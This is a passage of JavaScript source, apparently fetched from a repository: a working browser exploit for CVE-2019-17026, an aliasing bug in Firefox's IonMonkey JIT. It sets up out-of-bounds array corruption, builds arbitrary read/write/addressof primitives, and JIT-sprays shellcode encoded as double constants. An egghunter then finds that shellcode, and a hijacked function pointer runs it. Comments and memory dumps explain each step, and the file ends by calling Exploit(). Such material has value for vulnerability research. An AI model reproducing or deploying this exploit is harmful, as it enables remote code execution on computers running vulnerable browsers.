alert(Message);\n        }\n        else {\n            console.log(Message); // In IE, console only works if devtools is open.\n        }\n    }\n}\n\n/*//////\n////////\n// MIR Boundscheck elimination bug/OOB array logic\n////////\n\nThis is the primary logic exploiting the vulnerability itself. Fundamentally\nCVE-2019-17026 is an aliasing bug in the IonMonkey JIT engine: an overly\nstrict aliasing type criteria can cause a potentially dangerous node such as\nMStoreElementHole to be discarded as a STORE dependency for a sensitive LOAD\nnode such as MBoundsCheck. Thus in the event that a similar MBoundsCheck has\nalready been declared within a JIT'd function, we can trick IonMonkey into\nbelieving these instructions to be congruent which will result in the\nelimination of the second MBoundsCheck by the GVN due to congruence rules:\n- LOAD instructions may be tied to their most recent STORE instruction as\n  dependencies during the aliasing phase of JIT compilation.\n- After the aliasing phase comes the GVN phase, which eliminates redundant\n  nodes via congruence rules for optimization purposes.\n- In order for two matching nodes (such as two boundschecks) to be considered\n  for redundancy elimination via congruence rules they must have matching\n  STORE dependencies.\n- In a secure engine (such as FF 72+) the MStoreElementHole node will ALWAYS\n  be aliased to its following LOAD instruction regardless of whether operand\n  types are perfectly matching. This will result in a boundscheck following\n  an MStoreElementHole ALWAYS considering it to be a dependency and thus\n  never resulting in boundscheck elimination.\n- In an insecure engine (such as being exploited here) the MStoreElementHole\n  node will only be aliased to a following MBoundsCheck node if the two meet\n  operand type criteria.\n- MStoreElementHole can be manipulated into acting upon a different operand\n  type through use of a global sparse array. This will cause MBoundsCheck\n  (which is acting upon a constant array object) to have a different operand\n  type and thus thwart aliasing by IonMonkey.\n- MStoreElementHole can also be used to trigger side-effects, such as setting\n  the length field of an array to 0 and heap grooming to prepare for an OOB\n  access to this array.\n- As a result we may modify the .length field of an array prior to accessing\n  it at an arbitrary index despite the boundscheck no longer existing.\n\nThe following code demonstrates the bug:\n\nBugArray1[Index] = 4.2;\nSideEffectArray[SideEffectIndex] = 2.2;\nBugArray1[Index] = DblVal;\n\nIonMonkey will produce nodes corresponding to these instructions:\n\nMBoundsCheck\nMStoreElement\n\nMBoundsCheck\nMStoreElementHole  <- This node may trigger side-effects\n\nMBoundsCheck       <- This node will be eliminated by the optimizer\nMStoreElement      <- This node will be used for the OOB array R/W\n\nDue to BugArray1[Index] having already been declared (and the boundscheck\nexecuted) IonMonkey will eliminate the third boundscheck node. This allows us\nto use the side-effect triggered by MStoreElementHole to set the modify the\nBugArray11.length field and perform heap grooming prior to the final BugArray1\naccess.\n\nThe anatomy of an Array involves two data structures: a NativeObject which holds\nthe primary pointers relating to the Array element data, property types, etc.\n\nstruct NativeObject {\n    void *GroupPtr;\n    void *ShapePtr;\n    void *SlotsPtr;\n    void *ElementsPtr; // This does NOT point to the element metadata, it points OVER it to the actual element data itself.\n}\n\nFollowed by an element metadata struct which holds data pertaining to the length,\ncapacity and initialization size of the elements data itself:\n\nstruct ElementsMetadata {\n    uint32_t Flags;\n    uint32_t InitializedLength; // The number of elements actually initialized (will be 0 when Array first declared). If you do Array(50) then set index 20 to something, the length will become 20 (and 0-19 will be allocated but marked uninitialized).\n    uint32_t Capacity; // Storage allocated for the array\n    uint32_t Length; // The literal .length property. Thus Array(50) even though it has an initialized length and capavity of 0 would have a length of 50.\n    // ...\n}\n\nFollowed finally by the actual element data of the array, which is pointed to\nby the NativeObject.ElementsPtr.\n\nThe bug is converted into exploit primitives R/W/AddressOf by setting up 3\narrays in memory prior to executing the JIT bug:\n\nBugArray1 = new Array(0x20);\nBugArray2 = new Array(0x20);\nMutableArray = new Array(0x20);\n\nThis will eventually result in the following memory layout in the nursery heap:\n\n[BugArray1.NativeObject][BugArray1.ElementsMetadata][Element data][BugArray2.NativeObject][BugArray2.ElementsMetadata][Element data][MutableArray.NativeObject][MutableArray.ElementsMetadata][Element data]\n\nThus the OOB array access (via the JIT bug) will be used on BugArray1 to overwrite\nBugArray2.ElementsMetadata. Subsequently, BugArray2 may be used to make OOB R/W\nat will (without the need to repeat the JIT bug) and overwrite the\nMutableArray.NativeObject in order to build the primitives for the remainer of\nthe exploit.\n\nPrior to doing this, it is essential to do some heap grooming to prepare for the\nOOB array access from BugArray1 to corrupt BugArray2.ElementsMetadata. Re-visiting\nthe vulnerable JS code:\n\nBugArray1[Index] = 4.2;\nSideEffectArray[SideEffectIndex] = 2.2;\nBugArray1[Index] = DblVal;\n\nAccess to the SideEffectArray may be used to trigger some arbitrary code of our\nchoice prior to the second (vulnerable/no boundscheck) BugArray1 access. This\nis used to set the .length field of the BugArray1, BugArray2 and MutableArray\narrays to zero and trigger the garbage collector. After doing so, these three\narrays will appear on the nursery heap as follows:\n\n000000000B5BF100  000000000B5A5A60  <- BugArray1.NativeObject\n000000000B5BF108  000000000B5C21C8\n000000000B5BF110  0000000000000000\n000000000B5BF118  000000000B5BF130  <- BugArray1.NativeObject.ElementsPtr\n000000000B5BF120  0000000000000000  <- BugArray1.ElementsMetadata\n000000000B5BF128  0000000000000006\n000000000B5BF130  FFFA800000000000  <- BugArray1 raw element data\n000000000B5BF138  FFFA800000000000\n000000000B5BF140  FFFA800000000000\n000000000B5BF148  FFFA800000000000\n000000000B5BF150  FFFA800000000000\n000000000B5BF158  FFFA800000000000\n000000000B5BF160  000000000B5A5A90  <- BugArray2.NativeObject\n000000000B5BF168  000000000B5C21C8\n000000000B5BF170  0000000000000000\n000000000B5BF178  000000000B5BF190\n000000000B5BF180  0000007E00000000  <- Overwritten BugArray2.ElementsMetadata (note QWORD index 10 from the start of BugArray1.NativeObject.ElementsPtr)\n000000000B5BF188  0000007E0000007E\n000000000B5BF190  0000000000000000  <- BugArray2 raw element data\n000000000B5BF198  0000000000000000\n000000000B5BF1A0  0000000000000000\n000000000B5BF1A8  0000000000000000\n000000000B5BF1B0  0000000000000000\n000000000B5BF1B8  0000000000000000\n000000000B5BF1C0  000000000B5A5AC0  <- MutableArray.NativeObject\n000000000B5BF1C8  000000000B5C21C8\n000000000B5BF1D0  0000000000000000\n000000000B5BF1D8  000000000B5BF1F0\n000000000B5BF1E0  0000000000000000  <- MutableArray.ElementsMetadata\n000000000B5BF1E8  0000000000000006\n000000000B5BF1F0  0000000000000000  <- MutableArray raw element data\n000000000B5BF1F8  0000000000000000\n000000000B5BF200  0000000000000000\n\nThis layout is then used in conjunction with the JIT bug to begin the array\ncorruption.\n*/\n\n// Note that these arrays cannot be declared as vars\nSideEffectArray = [1.1, 1.2, , 1.4]; // MStoreElementHole access to a global sparse array is the unique edge case causes aliasing with MBoundsCheck to fail due to operand type mismatch\nBugArray1 = new Array(0x20); // This array will be used (after heap grooming) to make the OOB overwrite of BugArray2.ElementsMetadata. The heap grooming requires the .length be set to 0, but the length will not matter due to boundscheck elimination (the capacity however still will).\nBugArray2 = new Array(0x20); // This array will be used to read and set pointers reliably and repeatably in MutableArray\nMutableArray = new Array(0x20); // The NativeObject of this array are corrupted to build the exploit primitives\n\nSideEffectArray.__defineSetter__(\"-1\", function(x) { // Side effects called for OOB SideEffectArray access at index -1\n    // Key to understand here is that setting these lengths to 0 and having GC manipulate them into pointing at each other could be done without the boundscheck elimination bug. The boundscheck elimination bug however is what allows them to actually access each other, as it is necessary to set .length to 0 to do the GC trick and the boundschecks are based on .length. Note that access to all of these arrays will still be limited by their capacity metadata field despite elimination of their .length boundscheck.\n    BugArray1.length = 0;\n    BugArray2.length = 0;\n    MutableArray.length = 0;\n    GC();\n});\n\nfunction GC() { // Call the GC - Phoenhex function\n    BufSize = (128 * 1024 * 1024); // 128MB\n\n    for(var i = 0; i < 3; i++) {\n        var x = new ArrayBuffer(BufSize); // Allocate locally, but don't save\n    }\n}\n\nfunction BuggedJITFunc(SideEffectIndex, Index, DblVal) {\n    // Removes future bounds checks with GVN\n\n    BugArray1[Index] = 4.2;\n    BugArray1[Index - 1] = 4.2;\n\n    // Triggers the side-effect function when a -1 index provided\n\n    SideEffectArray[SideEffectIndex] = 2.2;\n\n    // Write OOB and corrupt BugArray2.ElementsMetadata. Normally boundscheck would prevent this based on .length. Note that despite the bugged elimination of this check, access is still limited to the BugArray1.ElementsMetadata capacity metadata field.\n\n    BugArray1[Index] = DblVal; // Corrupt the BugArray2.ElementsMetadata capacity and length element metadata - 0x7e 0x00 0x00 0x00 0x7e 0x00 0x00 0x00\n    BugArray1[Index - 1] = 2.673714696616e-312; // Corrupt the BugArray2.ElementsMetadata flags and initialized length element metadata - 0x00 0x00 0x00 0x00 0x7e 0x00 0x00 0x00\n}\n\nfor(var i = 0; i < JITIterations; i++) {\n    SideEffectArray.length = 4; // Reset the length so that StoreElementHole node is used\n    BuggedJITFunc(5, 11, 2.67371469724e-312);\n}\n\n// Call the JIT'd bugged function one more time, this time with an OOB write index of -1. There is substantial significance to using -1 as opposed to some other (larger) index which would still go OOB and trigger a side effect. The reason being that -1 is considered an \"invalid index\" (not just an OOB index) and is treated differently. OOB writes to the SideEffectArray with valid albeit indexes which will fail the boundscheck restrictions and will not trigger useful side effects. The reason for this being that access to valid indexes will cause the creation of a MSetPropertyCache node in the MIR, a node which is not susceptible to the exploit condition. The MIR instruction chosen to handle the SideEffectArray OOB MUST be MStoreElementHole, and MStoreElementHole will only be selected in the event of an INVALID index access, not simply an OOB one.\n\nSideEffectArray.length = 4; // Reset the length one more time\nBuggedJITFunc(-1, 11, 2.67371469724e-312);\n\n// Initialize mutable array properties for R/W/AddressOf primitives. Use these specific values so that it can later be verified whether slots pointer modifications have been successful.\n\nMutableArray.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double\nMutableArray.y = 0x41414141;\nMutableArray.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double\n\n/*//////\n////////\n// Arbitrary read/write/address-of primitives\n////////\n\n~ Weak arbitrary read\n\n8 bytes of data can be leaked from the address pointed to by the mutable array\nNativeObject.SlotsPtr, as this address is interpreted as holding the value of\n'x' (stored as a double). The drawback is that if the 8 bytes cannot be\ninterpreted as a valid double, they may be interpreted as a pointer and\ndereferenced. In this sense, some values may not be be readable with this\nprimitive.\n\n~ Weak arbitrary write\n\nIn the same way that the 'x' property pointed at by the slots pointer can be\nused to read doubles it can also be used to write doubles. The only drawback\nbeing that the value being written must be a valid double.\n\n~ Weak AddressOf\n\nThe mutable array slots pointer (in its native object struct) is going to be\npointing at an array of 3 property values (for x, y and z). Since we are\ntrying to leak the object address (which will be written into the property\narray slots for x, y or z) as a double, this will cause issues as the JS engine\nwill (correctly) attempt to dereference this address rather than interpret it\nas a double.\n\nThus the trick is to set the slots pointer in the mutable array native object\nahead by 4 bytes. This the result that the object address (previously only in\nthe \"y\" slot) can now be partially read (32-bits at a time) from both \"x\" and\n\"y\" and that these values are now certain to be valid doubles.\n\nWe can ensure the resulting double is valid by using bitwise AND to filter off\nthe significant bits responsible for differentiating between a valid and\nnon-valid double.\n\n~ Strong arbitrary read\n\nThis primitive solves the issue of attempting to read 8 bytes in memory which\nmay be invalid doubles and thus misinterpreted as pointers (for example if the\ntagged pointer bits are set).\n\nThe solution is to simply create a double float array, and then overwrite its\ndata pointer to point to the precise region we want to read. The key concept\nhere is that it reduces the ambiguity on the part of the JS engine. Since the\nJS engine knows that the value at this address is explicitly a double float,\nit will not attempt to potentially interprete it as an object pointer even if\nthose tagged bits are set.\n*/\n\nfunction WeakLeakDbl(TargetAddress) {\n    SavedSlotsPtr = BugArray2[8];\n    BugArray2[8] = TargetAddress;\n    LeakedDbl = MutableArray.x;\n    BugArray2[8] = SavedSlotsPtr;\n    return LeakedDbl;\n}\n\nfunction WeakWriteDbl(TargetAddress, Val) {\n    SavedSlotsPtr = BugArray2[8];\n    BugArray2[8] = TargetAddress;\n    MutableArray.x = Val;\n    BugArray2[8] = SavedSlotsPtr;\n}\n\nfunction WeakLeakObjectAddress(Obj) {\n    SavedSlotsPtr = BugArray2[8];\n\n    //                                             x                       y                        z\n    // MutableArray.NativeObj.SlotsPtr -> [0x????????????????] | [Target object address] | [0x????????????????]\n    MutableArray.y = Obj;\n\n    //                                             x                       y                        z\n    // MutableArray.NativeObj.SlotsPtr -> [0x????????Target o] | [bject adress????????] | [0x????????????????]\n\n    HelperDbl[0] = BugArray2[8];\n    HelperDword[0] = HelperDword[0] + 4;\n    BugArray2[8] = HelperDbl[0];\n\n    // Patch together a double of the target object address from the two 32-bit property values\n\n    HelperDbl[0] = MutableArray.x;\n    LeakedLow = HelperDword[1];\n    HelperDbl[0] = MutableArray.y; // Works in release, not in debug (assertion issues)\n    LeakedHigh = HelperDword[0] & 0x00007fff; // Filter off tagged pointer bits\n    BugArray2[8] = SavedSlotsPtr;\n    HelperDword[0] = LeakedLow;\n    HelperDword[1] = LeakedHigh;\n\n    return HelperDbl[0];\n}\n\nExplicitDblArray = new Float64Array(1); // Used for the strong read\nExplicitDblArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read\n\nfunction ExplicitLeakDbl(TargetAddress) {\n    WeakWriteDbl(ExplicitDblArrayDataPtr, TargetAddress);\n    return ExplicitDblArray[0];\n}\n\n/*//////\n////////\n// JIT spray/egghunter shellcode logic\n////////\n\nJIT spray in modern Firefox 64-bit on Windows seems to behave very differently\nwhen a special threshold of 100 double float constants are planted into a single\nfunction and JIT sprayed. When more than 100 are implanted, the JIT code pointer\nfor the JIT sprayed function will look as follows:\n\n00000087EB6F5280 | E9 23000000              | jmp 87EB6F52A8                   <- JIT code pointer for JIT sprayed function points here\n00000087EB6F5285 | 48:B9 00D0F2F8F1000000   | mov rcx,F1F8F2D000\n00000087EB6F528F | 48:8B89 60010000         | mov rcx,qword ptr ds:[rcx+160]\n00000087EB6F5296 | 48:89A1 D0000000         | mov qword ptr ds:[rcx+D0],rsp\n00000087EB6F529D | 48:C781 D8000000 0000000 | mov qword ptr ds:[rcx+D8],0\n00000087EB6F52A8 | 55                       | push rbp\n00000087EB6F52A9 | 48:8BEC                  | mov rbp,rsp\n00000087EB6F52AC | 48:83EC 48               | sub rsp,48\n00000087EB6F52B0 | C745 E8 00000000         | mov dword ptr ss:[rbp-18],0\n...\n00000087EB6F5337 | 48:BB 4141414100000000   | mov rbx,41414141                 <- Note the first double float being loaded into RBX\n00000087EB6F5341 | 53                       | push rbx\n00000087EB6F5342 | 49:BB D810EAFCF1000000   | mov r11,F1FCEA10D8\n00000087EB6F534C | 49:8B3B                  | mov rdi,qword ptr ds:[r11]\n00000087EB6F534F | FF17                     | call qword ptr ds:[rdi]\n00000087EB6F5351 | 48:83C4 08               | add rsp,8\n00000087EB6F5355 | 48:B9 40807975083D0000   | mov rcx,3D0875798040\n00000087EB6F535F | 49:BB E810EAFCF1000000   | mov r11,F1FCEA10E8\n00000087EB6F5369 | 49:8B3B                  | mov rdi,qword ptr ds:[r11]\n00000087EB6F536C | FF17                     | call qword ptr ds:[rdi]\n00000087EB6F536E | 48:BB 9090554889E54883   | mov rbx,8348E58948559090\n00000087EB6F5378 | 53                       | push rbx\n00000087EB6F5379 | 49:BB F810EAFCF1000000   | mov r11,F1FCEA10F8\n00000087EB6F5383 | 49:8B3B                  | mov rdi,qword ptr ds:[r11]\n00000087EB6F5386 | FF17                     | call qword ptr ds:[rdi]\n00000087EB6F5388 | 48:83C4 08               | add rsp,8\n00000087EB6F538C | 48:B9 40807975083D0000   | mov rcx,3D0875798040\n00000087EB6F5396 | 49:BB 0811EAFCF1000000   | mov r11,F1FCEA1108\n00000087EB6F53A0 | 49:8B3B                  | mov rdi,qword ptr ds:[r11]\n00000087EB6F53A3 | FF17                     | call qword ptr ds:[rdi]\n...\n\nRather than implanting the double float constants into the JIT'd code region as\nan array of raw constant data, the JIT engine has created a (very large) quantity\nof code which manually handles each individual double float one by one (this code\ngoes on much further than I have pasted here). You can see this at:\n\n00000087EB6F5337 | 48:BB 4141414100000000   | mov rbx,41414141\n\nThis is the first double float 5.40900888e-315 (the stage one shellcode egg)\nbeing loaded into RBX, where each subsequent double is treated the same.\n\nIn contrast, any JIT sprayed function with less than 100 double floats yields\na substantially different region of code at its JIT code pointer:\n\n000002C6944D4470 | 48:8B4424 20             | mov rax,qword ptr ss:[rsp+20]    <- JIT code pointer for JIT sprayed function points here\n000002C6944D4475 | 48:C1E8 2F               | shr rax,2F\n000002C6944D4479 | 3D F3FF0100              | cmp eax,1FFF3\n000002C6944D447E | 0F85 A4060000            | jne 2C6944D4B28\n...\n000002C6944D4ACB | F2:0F1180 C00A0000       | movsd qword ptr ds:[rax+AC0],xmm0\n000002C6944D4AD3 | F2:0F1005 6D030000       | movsd xmm0,qword ptr ds:[2C6944D4E48]\n000002C6944D4ADB | F2:0F1180 C80A0000       | movsd qword ptr ds:[rax+AC8],xmm0\n000002C6944D4AE3 | F2:0F1005 65030000       | movsd xmm0,qword ptr ds:[2C6944D4E50]\n000002C6944D4AEB | F2:0F1180 D00A0000       | movsd qword ptr ds:[rax+AD0],xmm0\n000002C6944D4AF3 | F2:0F1005 5D030000       | movsd xmm0,qword ptr ds:[2C6944D4E58]\n000002C6944D4AFB | F2:0F1180 D80A0000       | movsd qword ptr ds:[rax+AD8],xmm0\n000002C6944D4B03 | 48:B9 000000000080F9FF   | mov rcx,FFF9800000000000\n000002C6944D4B0D | C3                       | ret\n000002C6944D4B0E | 90                       | nop\n000002C6944D4B0F | 90                       | nop\n000002C6944D4B10 | 90                       | nop\n000002C6944D4B11 | 90                       | nop\n000002C6944D4B12 | 90                       | nop\n000002C6944D4B13 | 90                       | nop\n000002C6944D4B14 | 90                       | nop\n000002C6944D4B15 | 90                       | nop\n000002C6944D4B16 | 49:BB 30B14E5825000000   | mov r11,25584EB130\n000002C6944D4B20 | 41:53                    | push r11\n000002C6944D4B22 | E8 C9C6FBFF              | call 2C6944911F0\n000002C6944D4B27 | CC                       | int3\n000002C6944D4B28 | 6A 00                    | push 0\n000002C6944D4B2A | E9 11000000              | jmp 2C6944D4B40\n000002C6944D4B2F | 50                       | push rax\n000002C6944D4B30 | 68 20080000              | push 820\n000002C6944D4B35 | E8 5603FCFF              | call 2C694494E90\n000002C6944D4B3A | 58                       | pop rax\n000002C6944D4B3B | E9 85F9FFFF              | jmp 2C6944D44C5\n000002C6944D4B40 | 6A 00                    | push 0\n000002C6944D4B42 | E9 D9C5FBFF              | jmp 2C694491120\n000002C6944D4B47 | F4                       | hlt\n000002C6944D4B48 | 41414141:0000            | add byte ptr ds:[r8],al          <- JIT sprayed egg double\n000002C6944D4B4E | 0000                     | add byte ptr ds:[rax],al\n000002C6944D4B50 | 90                       | nop                              <- JIT sprayed shellcode begins here\n000002C6944D4B51 | 90                       | nop\n000002C6944D4B52 | 55                       | push rbp\n000002C6944D4B53 | 48:89E5                  | mov rbp,rsp\n000002C6944D4B56 | 48:83EC 40               | sub rsp,40\n000002C6944D4B5A | 48:83EC 08               | sub rsp,8\n000002C6944D4B5E | 40:80E4 F7               | and spl,F7\n000002C6944D4B62 | 48:B8 1122334455667788   | mov rax,8877665544332211\n000002C6944D4B6C | 48:8945 C8               | mov qword ptr ss:[rbp-38],rax\n000002C6944D4B70 | 48:C7C1 884E0D00         | mov rcx,D4E88\n000002C6944D4B77 | E8 F9000000              | call 2C6944D4C75\n\nThis then introduces another constaint on JIT spraying beyoond forcing your\nassembly bytecode to be 100% valid double floats. You are also limited to a\nmaximum of 100 doubles (800 bytes) including your egg prefix.\n*/\n\nfunction JITSprayFunc(){\n    Egg = 5.40900888e-315; // AAAA\\x00\\x00\\x00\\x00\n    X1 = 58394.27801956298;\n    X2 = -3.384548150597339e+269;\n    X3 = -9.154525457562153e+192;\n    X4 = 4.1005939302288804e+42;\n    X5 = -5.954550387086224e-264;\n    X6 = -6.202600667005017e-264;\n    X7 = 3.739444822644755e+67;\n    X8 = -1.2650161464211396e+258;\n    X9 = -2.6951286493033994e+35;\n    X10 = 1.3116505146398627e+104;\n    X11 = -1.311379727091241e+181;\n    X12 = 1.1053351980286266e-265;\n    X13 = 7.66487078033362e+42;\n    X14 = 1.6679557218696946e-235;\n    X15 = 1.1327634929857868e+27;\n    X16 = 6.514949632148056e-152;\n    X17 = 3.75559130646382e+255;\n    X18 = 8.6919639111614e-311;\n    X19 = -1.0771492276655187e-142;\n    X20 = 1.0596460749348558e+39;\n    X21 = 4.4990090566228275e-228;\n    X22 = 2.6641556100123696e+41;\n    X23 = -3.695293685173417e+49;\n    X24 = 7.675324624976707e-297;\n    X25 = 5.738262935249441e+40;\n    X26 = 4.460149175031513e+43;\n    X27 = 8.958658002980807e-287;\n    X28 = -1.312880373645135e+35;\n    X29 = 4.864674571015197e+42;\n    X30 = -2.500435320470142e+35;\n    X31 = -2.800945285957394e+277;\n    X32 = 1.44103957698964e+28;\n    X33 = 3.8566513062216665e+65;\n    X34 = 1.37405680231e-312;\n    X35 = 1.6258034990195507e-191;\n    X36 = 1.5008582713363865e+43;\n    X37 = 3.1154847750709123;\n    X38 = -6.809578792021008e+214;\n    X39 = -7.696699288147737e+115;\n    X40 = 3.909631192677548e+112;\n    X41 = 1.5636948002514616e+158;\n    X42 = -2.6295656969507476e-254;\n    X43 = -6.001472476578534e-264;\n    X44 = 9.25337251529007e-33;\n    X45 = 4.419915842157561e-80;\n    X46 = 8.07076629722016e+254;\n    X47 = 3.736523284e-314;\n    X48 = 3.742120352320771e+254;\n    X49 = 1.0785207713761078e-32;\n    X50 = -2.6374368557341455e-254;\n    X51 = 1.2702053652464168e+145;\n    X52 = -1.3113796337500435e+181;\n    X53 = 1.2024564583763433e+111;\n    X54 = 1.1326406542153807e+104;\n    X55 = 9.646933740426927e+39;\n    X56 = -2.5677414592270957e-254;\n    X57 = 1.5864445474697441e+233;\n    X58 = -2.6689139052065564e-251;\n    X59 = 1.0555057376604044e+27;\n    X60 = 8.364524068863995e+42;\n    X61 = 3.382975178824556e+43;\n    X62 = -8.511722322449098e+115;\n    X63 = -2.2763239573787572e+271;\n    X64 = -6.163839243926498e-264;\n    X65 = 1.5186209005088964e+258;\n    X66 = 7.253360348539147e-192;\n    X67 = -1.2560830051206045e+234;\n    X68 = 1.102849544e-314;\n    X69 = -2.276324008154652e+271;\n    X70 = 2.8122150524016884e-71;\n    X71 = 5.53602304257365e-310;\n    X72 = -6.028598990540894e-264;\n    X73 = 1.0553922879130128e+27;\n    X74 = -1.098771600725952e-244;\n    X75 = -2.5574368247075522e-254;\n    X76 = 3.618778572061404e-171;\n    X77 = -1.4656824334476123e+40;\n    X78 = 4.6232700581905664e+42;\n    X79 = -3.6562604268727894e+125;\n    X80 = -2.927408487880894e+78;\n    X81 = 1.087942540606703e-309;\n    X82 = 6.440226123500225e+264;\n    X83 = 3.879424446462186e+148;\n    X84 = 3.234472631797124e+40;\n    X85 = 1.4186706350383543e-307;\n    X86 = 1.2617245769382784e-234;\n    X87 = 1.3810793979336581e+43;\n    X88 = 1.565026152201332e+43;\n    X89 = 5.1402745833993635e+153;\n    X90 = 9.63e-322;\n}\n\nfunction EggHunter(TargetAddressDbl) {\n    HelperDbl[0] = TargetAddressDbl;\n\n    for(var i = 0; i < 1000; i++) { // 1000 QWORDs give me the most stable result. The more double float constants are in the JIT'd function, the more handler code seems to precede them.\n        DblVal = ExplicitLeakDbl(HelperDbl[0]); // The JIT'd ASM code being scanned is likely to contain 8 byte sequences which will not be interpreted as doubles (and will have tagged pointer bits set). Use explicit/strong primitive for these reads.\n\n        if(DblVal == 5.40900888e-315) {\n            HelperDword[0] = HelperDword[0] + 8; // Skip over egg bytes and return precise pointer to the shellcode\n            return HelperDbl[0];\n        }\n\n        HelperDword[0] = HelperDword[0] + 8;\n    }\n\n    return 0.0;\n}\n\n\n////////\n////////\n// Primary high level exploit logic\n////////\n\nfunction Exploit() {\n    for(var i = 0; i < JITIterations; i++) {\n        JITSprayFunc(); // JIT spray the shellcode to a private +RX region of virtual memory\n    }\n\n    HelperDbl[0] = WeakLeakObjectAddress(JITSprayFunc); // The JSFunction object address associated with the (now JIT compiled) shellcode data.\n    HelperDword[0] = HelperDword[0] + 0x30; // JSFunction.u.native.extra.jitInfo_ contains a pointer to the +RX JIT region at offset 0 of its struct.\n    JITInfoAddress = WeakLeakDbl(HelperDbl[0]);\n    HelperDbl[0] = JITInfoAddress;\n\n    // Verify that MutableArray.x was not its initialized value during the last arbitrary read. This would only be the case if the slots ptr has NEVER been successfully overwritten post-addrof primitive (the address we attempted to read was not a valid double).\n\n    if(HelperDword[0] == 0x41414141) {\n        DebugLog(\"Arbitrary read primitive failed\");\n        window.location.reload();\n    }\n    else {\n        // Setup the strong read primitive for the stage one egg hunter: attempting to interpret assembly byte code as doubles via weak primitive may crash the process (tagged pointer bits could cause the read value to be dereferenced as a pointer)\n\n        HelperDbl[0] = WeakLeakDbl(JITInfoAddress); // Leak the address to the compiled JIT assembly code associated with the JIT'd shellcode function from its JitInfo struct (it is a pointer at offset 0 of this struct)\n        DebugLog(\"Shellcode function object JIT code pointer is 0x\" + HelperDword[1].toString(16) + HelperDword[0].toString(16));\n        JITCodePtr = HelperDbl[0];\n        ExplicitDblArrayAddress = WeakLeakObjectAddress(ExplicitDblArray);\n        HelperDbl[0] = ExplicitDblArrayAddress;\n        HelperDword[0] = HelperDword[0] + 56; // Float64Array data pointer\n        ExplicitDblArrayDataPtr = HelperDbl[0];\n        ShellcodeAddress = EggHunter(JITCodePtr); // For this we need the strong read primitive since values here can start with 0xffff and thus act as tags\n\n        if(ShellcodeAddress) {\n            // Trigger code exec by calling the JIT sprayed function again. Its code pointer has been overwritten to now point to the literal shellcode data within the JIT'd function\n\n            WeakWriteDbl(JITInfoAddress, ShellcodeAddress);\n            JITSprayFunc(); // Notably the location of the data in the stage two shellcode Uint8Array can be found at offset 0x40 from the start of the array object when the array is small, and when it is large (as in the case of the WPAD shellcode) a pointer to it can be found at offset 0x38 from the start of the array object. In this case though, the stage one egg hunter shellcode finds, disables DEP and ADDITIONALLY executes the stage two shellcode itself, so there is no reason to locate/execute it from JS.\n        }\n        else {\n            DebugLog(\"Failed to resolve shellcode address\");\n        }\n    }\n}\n\nExploit();","sha256":"7111cce9e7f2ca6449f68b30912aa9f03b0c72f1d204ac5aa602d3f50883d85b","bytes":41825,"fetchedAt":"2026-11-27T21:00:42.883Z","encoding":"utf-8 (display only; download retains original bytes)"}